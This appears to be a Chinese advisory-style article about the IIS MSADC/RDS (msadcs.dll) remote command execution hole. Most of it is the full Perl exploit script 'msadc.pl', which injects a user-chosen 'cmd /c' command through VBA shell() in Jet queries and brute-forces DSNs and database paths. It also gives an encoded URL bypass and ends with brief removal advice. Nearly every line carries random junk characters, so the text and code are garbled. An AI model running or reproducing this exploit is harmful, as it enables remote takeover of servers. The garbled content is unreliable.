IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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MWBXs7 5I 涉及程序：
W`#gpi)7N Microsoft NT server
xME(B@j mR" uhm}q 描述：
It%T7
X# 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
o;3j:# 3 | -NAmu97V} 详细：
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如果你没有时间读详细内容的话，就删除:
<O ;&qT*b c:\Program Files\Common Files\System\Msadc\msadcs.dll
}dy9I H 有关的安全问题就没有了。
A?e,U, r+o_t2_b* 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
X *0k>j wi>DZkR 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Y |mW. 关于利用ODBC远程漏洞的描述，请参看:
1{^CfamF [!W5}=^H http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm R;WW
f.# Q-[3j 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
a;%I\w;2 http://www.microsoft.com/security/bulletins/MS99-025faq.asp 5)w4)K-% SGt5~T xj 这里不再论述。
W:WQaF`2x cI5N"U@yN 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
5i6VZv (I[s3EnhS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
> 84e`aGE 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
4 bn t=5] W/sY#" RF:0 4d #将下面这段保存为txt文件，然后: "perl -x 文件名"
\UOm]z h{I`7X #!perl
gt'*B5F( #
47 KNT7C # MSADC/RDS 'usage' (aka exploit) script
nh<Z1 tMU #
GSP?X$E # by rain.forest.puppy
YNI;h%w #
SgiDh dE # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
C#0brCQq3 # beta test and find errors!
EOhC6>ATh [O\9 9> use Socket; use Getopt::Std;
]
@ufV getopts("e:vd:h:XR", \%args);
B;V5x/ I`NUurQTX print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
? z3] DY8(g=TI|1 if (!defined $args{h} && !defined $args{R}) {
Yr=8! iR $ print qq~
sds}bo
Usage: msadc.pl -h <host> { -d <delay> -X -v }
s'TY[ -h <host> = host you want to scan (ip or domain)
7#ofNH J -d <seconds> = delay between calls, default 1 second
ZNi
+Aw$u -X = dump Index Server path table, if available
teAukE=} -v = verbose
J smB^ -e = external dictionary file for step 5
;`+`#h3-V m^Glc ?g< Or a -R will resume a command session
Ls1B \Aw _ q(gjT^aN ~; exit;}
j1A|D
pl|h>4af $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
9p4y>3 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6| 5H=*)DH if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
W2hA-1 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
) &:L'N $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Jld\8 = if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
1 DqX:WM6 h/HH Kn if (!defined $args{R}){ $ret = &has_msadc;
>k;p.Pay% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~g7m 3 <[ZI.+_Wt print "Please type the NT commandline you want to run (cmd /c assumed):\n"
=G4u#t) . "cmd /c ";
*1$ $in=<STDIN>; chomp $in;
P_&p=$ { $command="cmd /c " . $in ;
~@D/A/| A @2Bs 5F if (defined $args{R}) {&load; exit;}
e\D|
o?v RJhK$\ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
?`H[u7*% &try_btcustmr;
P#MK et` 0Je print "\nStep 2: Trying to make our own DSN...";
QD$Gw-U-l= &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
)S*1C@ <: :VCA % print "\nStep 3: Trying known DSNs...";
$Asr`Q1i
&known_dsn;
m'bi\1Q *C7F2o print "\nStep 4: Trying known .mdbs...";
R 5(F)abi &known_mdb;
'#q4Bc1 bY)# v? if (defined $args{e}){
JRY_ nX print "\nStep 5: Trying dictionary of DSN names...";
Zj!Abji=O &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Ys3uPs 35_)3 R) print "Sorry Charley...maybe next time?\n";
e>AXXUEf exit;
|@wyC0k! f@d9Hqr+l; ##############################################################################
e)b%`ntF ($8t%jVWJJ sub sendraw { # ripped and modded from whisker
I ]9 C_ sleep($delay); # it's a DoS on the server! At least on mine...
\f%.n]> my ($pstr)=@_;
8EI:(NE*J socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
>g}G}=R~3 die("Socket problems\n");
6pp $-uS if(connect(S,pack "SnA4x8",2,80,$target)){
RV;!05^< select(S); $|=1;
:$ %>4+l print $pstr; my @in=<S>;
Qnt5HSSt select(STDOUT); close(S);
`*_CElpP" return @in;
t, HFz6 } else { die("Can't connect...\n"); }}
! %Ny0JkO ?aWx(dVQ ##############################################################################
jn =:G+0 Ilq=wPD}j sub make_header { # make the HTTP request
R5(T([w' my $msadc=<<EOT
RB$
z]/= POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[Y8S[YY User-Agent: ACTIVEDATA
cbYK5fj"T Host: $ip
(s&&>M]r_ Content-Length: $clen
y
vI<4F Connection: Keep-Alive
|<c
WllN "HK/u(z ) ADCClientVersion:01.06
J 'Sm0 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
D(\$i.,b2 Bm /YgQi --!ADM!ROX!YOUR!WORLD!
r,;\/^ u* Content-Type: application/x-varg
xaW{I7FfG Content-Length: $reqlen
i=rH 7k uMd. j$$ EOT
BJy ;-(JP ; $msadc=~s/\n/\r\n/g;
+>tUz D return $msadc;}
g7n " U>Gg0`> ##############################################################################
qZ+H5AG2 !Zjq9{t\" sub make_req { # make the RDS request
D*2\{W/ my ($switch, $p1, $p2)=@_;
Gu;OV LR| my $req=""; my $t1, $t2, $query, $dsn;
;;#` #v tj5giQ3DG) if ($switch==1){ # this is the btcustmr.mdb query
z 7T0u.4Ss $query="Select * from Customers where City=" . make_shell();
tC )6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6N " l{! $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
~x]9SXD% 27#5y_
` elsif ($switch==2){ # this is general make table query
D$q'FZH $query="create table AZZ (B int, C varchar(10))";
RN9;kB)c $dsn="$p1";}
:L:&t,X fY W|p<Q0 elsif ($switch==3){ # this is general exploit table query
93o;n1rS $query="select * from AZZ where C=" . make_shell();
OH'ea5x q $dsn="$p1";}
"rNL
`P7 SSA W5 2xC elsif ($switch==4){ # attempt to hork file info from index server
Z^ar.boc $query="select path from scope()";
|.U)ll(c $dsn="Provider=MSIDXS;";}
Adx`8}N8 $/Ov2z elsif ($switch==5){ # bad query
VW<0Lt3 $query="select";
(.23rVvnT@ $dsn="$p1";}
DL8x": ; @S3f:s0~D $t1= make_unicode($query);
7o]HQ[ xO $t2= make_unicode($dsn);
)jDJMi_[ $req = "\x02\x00\x03\x00";
6Q Zp@ $req.= "\x08\x00" . pack ("S1", length($t1));
^ }$O|t $req.= "\x00\x00" . $t1 ;
&c%Y<1e`% $req.= "\x08\x00" . pack ("S1", length($t2));
0XU}B\'< $req.= "\x00\x00" . $t2 ;
n}n E cXb $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
,w j"! o# return $req;}
jn dGiMA Qa4MZj ;$K ##############################################################################
EgM*d)X JL^2l$up sub make_shell { # this makes the shell() statement
]?LB?:6 return "'|shell(\"$command\")|'";}
zP) ~a iiC!|`k" ##############################################################################
D4u% 6R|F WA Phv-6 sub make_unicode { # quick little function to convert to unicode
S#l5y%& my ($in)=@_; my $out;
p]T"|! d for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Z-X ?JA\& return $out;}
{?8B,G2r {eT.SO ##############################################################################
I 3$dVls} MaY682}|y sub rdo_success { # checks for RDO return success (this is kludge)
v"O5u%P my (@in) = @_; my $base=content_start(@in);
e2)autBe if($in[$base]=~/multipart\/mixed/){
mUP. rb6 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
`V!>J 1x return 0;}
:d,^I@] ajH"Jy3A ##############################################################################
N#z~ }
cN W^4F sub make_dsn { # this makes a DSN for us
~Y!kB:D5;~ my @drives=("c","d","e","f");
MuI2?:~:*4 print "\nMaking DSN: ";
U1R4x!ym4 foreach $drive (@drives) {
E6MA?Ax&= print "$drive: ";
TnH\ O$ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
SNpi=K!yn "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
wdas1 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
3 HC $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
}}{Yw return 0 if $2 eq "404"; # not found/doesn't exist
H=^K @Ti: if($2 eq "200") {
H)(jh foreach $line (@results) {
Ey `h1 Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Gc,_v3\ } return 0;}
p Pr o }@@ XNH4vG
| ##############################################################################
NL"G2[e )A8v];.]3 sub verify_exists {
`BXS)xj my ($page)=@_;
h Z$t$3 my @results=sendraw("GET $page HTTP/1.0\n\n");
dp5cDF} l return $results[0];}
ku&k'V
`` K#}3 ##############################################################################
Xyx"A(v^l ~Ci{3j :] sub try_btcustmr {
iz[ gHB my @drives=("c","d","e","f");
MgMD\ my @dirs=("winnt","winnt35","winnt351","win","windows");
lS5 ny <i. a pBH foreach $dir (@dirs) {
{S.>BXX print "$dir -> "; # fun status so you can see progress
nms8@[4- foreach $drive (@drives) {
Kq6jw/T print "$drive: "; # ditto
A;X=bj _&a $reqlen=length( make_req(1,$drive,$dir) ) - 28;
45 >XKr.% $reqlenlen=length( "$reqlen" );
chI.{Rj $clen= 206 + $reqlenlen + $reqlen;
:$r ^_ YA]5~ ZE\ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
KLWDo%%u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
evuZY X@ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
BOVPKX Q[4:
xkU ##############################################################################
Dt}rR[yJ _=XX~^I, sub odbc_error {
6dqsFns}e my (@in)=@_; my $base;
^"8wUsP my $base = content_start(@in);
Hf gz02Z$ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
b7:0#l$ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V|D] M{O $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
X@A1#z+s0] $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%eWqQ3{P] return $in[$base+4].$in[$base+5].$in[$base+6];}
}Fb!?['G5 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
4"?^UBr print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
SX0_v_%M $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N@T.T=r ed!>)Cb ##############################################################################
V
A^l+Z,d T ]9\VW4 sub verbose {
es:2M |#O my ($in)=@_;
6QQfQ, return if !$verbose;
tOl e>] print STDOUT "\n$in\n";}
u{H?4|'( !
NV#U ##############################################################################
kSn cZ0K{ j Ch=@<9 sub save {
Q4]4@96Aj my ($p1, $p2, $p3, $p4)=@_;
{Tp2H_EG open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6=GZL pv print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
YUWn ;# close OUT;}
W&Y"K)` VyLH"cCv ##############################################################################
(= x"Y{% D@ek9ARAq sub load {
I27,mS+] my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#o`Ny4sq/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
` |Z}2vo;j @p=<IN>; close(IN);
kma?v B $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
<cN~jv-w$ $target= inet_aton($ip) || die("inet_aton problems");
m:QG}{<.h print "Resuming to $ip ...";
B^ 7eo W $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
r),PtI0X if($p[1]==1) {
7*+]wEs $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
>p\e 0n $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)(M7lq.e7 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
%:v`EjRD0 if (rdo_success(@results)){print "Success!\n";}
=qVP] 9 else { print "failed\n"; verbose(odbc_error(@results));}}
Y-!YhWsS elsif ($p[1]==3){
:a[Ihqfg if(run_query("$p[3]")){
tA.`k;L T print "Success!\n";} else { print "failed\n"; }}
22hSove . elsif ($p[1]==4){
V<Z'(UI if(run_query($drvst . "$p[3]")){
-T@`hk` print "Success!\n"; } else { print "failed\n"; }}
~EiH-z4 U exit;}
P yC0Q\$% (?)7)5H ##############################################################################
\;5\9B"i U\@A _
B sub create_table {
w*7|dZk{ my ($in)=@_;
Wzq>JNn y $reqlen=length( make_req(2,$in,"") ) - 28;
c~}l8M % $reqlenlen=length( "$reqlen" );
)Q;9 78: $clen= 206 + $reqlenlen + $reqlen;
M)-6T{[IT my @results=sendraw(make_header() . make_req(2,$in,""));
{2d_"lHBt return 1 if rdo_success(@results);
$RX'(/ my $temp= odbc_error(@results); verbose($temp);
&n2e return 1 if $temp=~/Table 'AZZ' already exists/;
+ xv!$gJEj return 0;}
z`Wt%tL( oih 5B<&f# ##############################################################################
dIwe g=x t:~t@4j} sub known_dsn {
TA18 gq # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
LwqC ~N my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-;(Q1) & "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
jR ~DToQ "banner", "banners", "ads", "ADCDemo", "ADCTest");
!v |ISyK IE~ %=/| foreach $dSn (@dsns) {
*hh mTc# print ".";
l(W[_ D next if (!is_access("DSN=$dSn"));
4Aes#{R3v if(create_table("DSN=$dSn")){
pE]?x $ 5U print "$dSn successful\n";
&$FvWFRh# if(run_query("DSN=$dSn")){
Y
qdWctUY print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e9pOisZ;8 print "Something's borked. Use verbose next time\n";}}} print "\n";}
\5
pu|2 u Fe&qwq" ##############################################################################
+YY8h>hj 8 3~ i:+; sub is_access {
pcS+o my ($in)=@_;
b }9[s $reqlen=length( make_req(5,$in,"") ) - 28;
}l0 &a!C $reqlenlen=length( "$reqlen" );
| $^;wP $clen= 206 + $reqlenlen + $reqlen;
P\m7 - my @results=sendraw(make_header() . make_req(5,$in,""));
]DG?R68D Q my $temp= odbc_error(@results);
>Q E{O.Z verbose($temp); return 1 if ($temp=~/Microsoft Access/);
9-1#( Y6S return 0;}
\ 0;(VLN'U *O$CaAr\s ##############################################################################
8;P2A\ X ^>& k]T` sub run_query {
NUJ~YWO; my ($in)=@_;
9<E g}Ic $reqlen=length( make_req(3,$in,"") ) - 28;
mdih-u(T| $reqlenlen=length( "$reqlen" );
rZ1Hf1 1C $clen= 206 + $reqlenlen + $reqlen;
!c W[G/W8 my @results=sendraw(make_header() . make_req(3,$in,""));
$o?@ 0 return 1 if rdo_success(@results);
eJ8]g49mD6 my $temp= odbc_error(@results); verbose($temp);
?8@>6 IXn return 0;}
Ds8
EMtS p0p4Xh1 e ##############################################################################
Fy L_xu\e e;YW6}'} sub known_mdb {
f& @BKx my @drives=("c","d","e","f","g");
X&m'.PA my @dirs=("winnt","winnt35","winnt351","win","windows");
U]~^Z R my $dir, $drive, $mdb;
@DAF 6ygs my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
<G8w[hs %GEJnJ # this is sparse, because I don't know of many
Rf %HIAVE my @sysmdbs=( "\\catroot\\icatalog.mdb",
hjx) D "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|+IZS/W" "\\system32\\certmdb.mdb",
J'&# mDU "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
hqSJ(gs{ !/{+WHxIr| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
h~Q)Uy5N(D "\\cfusion\\cfapps\\forums\\forums_.mdb",
C_fY %O "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V,v[y\ "\\cfusion\\cfapps\\security\\realm_.mdb",
hIv@i\` "\\cfusion\\cfapps\\security\\data\\realm.mdb",
( n{w g(R "\\cfusion\\database\\cfexamples.mdb",
B@v\e F; "\\cfusion\\database\\cfsnippets.mdb",
`<" m%> "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
`D5HC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
i7[uLdQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
`BFIC7a "\\cfusion\\database\\smpolicy.mdb",
~:Uw g+]j "\\cfusion\\database\cypress.mdb",
kdx
y\
jA "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
2
+5e0/_V "\\website\\cgi-win\\dbsample.mdb",
,SlN zR "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
0o&MB
Dp "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
=4! n Fi ); #these are just
lG<hlYckv foreach $drive (@drives) {
^t "iX9 foreach $dir (@dirs){
cTZ.}eLh foreach $mdb (@sysmdbs) {
,hxkk` print ".";
\[2lvft! if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
$gle8Z- print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>?W[PQ5 yx if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
&Bb<4R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@+,pN6}g } else { print "Something's borked. Use verbose next time\n"; }}}}}
"$HbK
@]!h [f~N_G6I^o foreach $drive (@drives) {
o/cjXun* foreach $mdb (@mdbs) {
:7 N3N print ".";
8
(j Ue if(create_table($drv . $drive . $dir . $mdb)){
wRNroQ print "\n" . $drive . $dir . $mdb . " successful\n";
=d P{ Gh if(run_query($drv . $drive . $dir . $mdb)){
c>bq%} print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2LY=D L7 } else { print "Something's borked. Use verbose next time\n"; }}}}
Qv PD8B }
-5G)?J/* 3+7^uR$/I4 ##############################################################################
1{"llD ?z-}>$I; sub hork_idx {
^>4o$ } print "\nAttempting to dump Index Server tables...\n";
OvL\u{(<F print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
%r KK[ $reqlen=length( make_req(4,"","") ) - 28;
o@>? *= $reqlenlen=length( "$reqlen" );
JHn*->m $clen= 206 + $reqlenlen + $reqlen;
}]P4-KqI my @results=sendraw2(make_header() . make_req(4,"",""));
q!'rz if (rdo_success(@results)){
Z@D*1 \TG= my $max=@results; my $c; my %d;
X+8B!F for($c=19; $c<$max; $c++){
|tMn={ $results[$c]=~s/\x00//g;
/x@RNd Kv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
c2SC|s] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
DmqX"x%P $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
zRl~^~sY $d{"$1$2"}="";}
DLPUqKL] foreach $c (keys %d){ print "$c\n"; }
+';>=hha } else {print "Index server doesn't seem to be installed.\n"; }}
E|"= .
T {43yb_B( ##############################################################################
i ?;r7> g 8;D/ sub dsn_dict {
mo]KCi open(IN, "<$args{e}") || die("Can't open external dictionary\n");
`RQ#. while(<IN>){
92W&x' $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
DLE8+NV8
next if (!is_access("DSN=$dSn"));
C2e.2)y if(create_table("DSN=$dSn")){
' $|UwT`s print "$dSn successful\n";
G*[P <<je_ if(run_query("DSN=$dSn")){
ig"uXs print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
%6j)=IOts print "Something's borked. Use verbose next time\n";}}}
0 5\dl print "\n"; close(IN);}
qf'm=efRyu
dBC bL.! ##############################################################################
@pV5}N[] XP[uF ;w sub sendraw2 { # ripped and modded from whisker
D.!~dyI.,$ sleep($delay); # it's a DoS on the server! At least on mine...
> Vb@[ my ($pstr)=@_;
< M?: socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
D?jk$^p~m# die("Socket problems\n");
qgt[ ~i* if(connect(S,pack "SnA4x8",2,80,$target)){
USJ- e print "Connected. Getting data";
2pHR_mr b open(OUT,">raw.out"); my @in;
xk~I N%\ select(S); $|=1; print $pstr;
UAS@R`?cI while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
%9 C@ Xl close(OUT); select(STDOUT); close(S); return @in;
N8cAqr } else { die("Can't connect...\n"); }}
FaTa(3$% YO)$M-]>%J ##############################################################################
$V>98M>j A?5E2T1L%. sub content_start { # this will take in the server headers
D:\ g,\Z my (@in)=@_; my $c;
Id'RL2Kq*& for ($c=1;$c<500;$c++) {
.@ C{3$,VG if($in[$c] =~/^\x0d\x0a/){
=`n]/L"Q if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
eg+!*>GaX else { return $c+1; }}}
N<|$h5isq return -1;} # it should never get here actually
8$N8} q% ~`;rNnOT3 ##############################################################################
O^>jdl !TZ UCrh/b Tm sub funky {
3CjL\pIC my (@in)=@_; my $error=odbc_error(@in);
l7(!`NPbC if($error=~/ADO could not find the specified provider/){
6Z?j AXGSq print "\nServer returned an ADO miscofiguration message\nAborting.\n";
K[\'"HyQ,X exit;}
yj 6@7@l>A if($error=~/A Handler is required/){
rI$`9d print "\nServer has custom handler filters (they most likely are patched)\n";
57{oh") exit;}
{)f~#37 if($error=~/specified Handler has denied Access/){
ExSe=4q# print "\nServer has custom handler filters (they most likely are patched)\n";
G}@#u 9 exit;}}
j Ib DH DZ_t: ##############################################################################
eg"Gjp- 4= _zxLwU1(x sub has_msadc {
ulHn#) my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
4Q=ftY< my $base=content_start(@results);
.N4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
= ! Vf return 0;}
D* 5hrkV9 j;yf8Nf ########################
$m1<i?'m >e5 *prx+ ;cQW sTfT 解决方案：
5 v^yQ<70 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
HWns.[ 2、移除web 目录: /msadc
